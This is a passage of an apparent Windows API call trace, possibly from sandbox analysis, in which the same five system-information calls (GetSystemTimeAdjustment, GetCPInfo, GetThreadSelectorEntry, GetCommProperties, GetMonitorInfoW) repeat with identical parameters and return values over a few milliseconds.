GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.086] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.087] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.087] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.087] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.087] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.087] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.088] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.088] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.088] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.088] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.088] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.089] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.089] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.089] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.089] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.089] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.090] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.090] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.090] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.090] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.090] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.091] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.091] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.091] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.091] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.091] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.092] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.092] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.092] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.092] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.092] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, 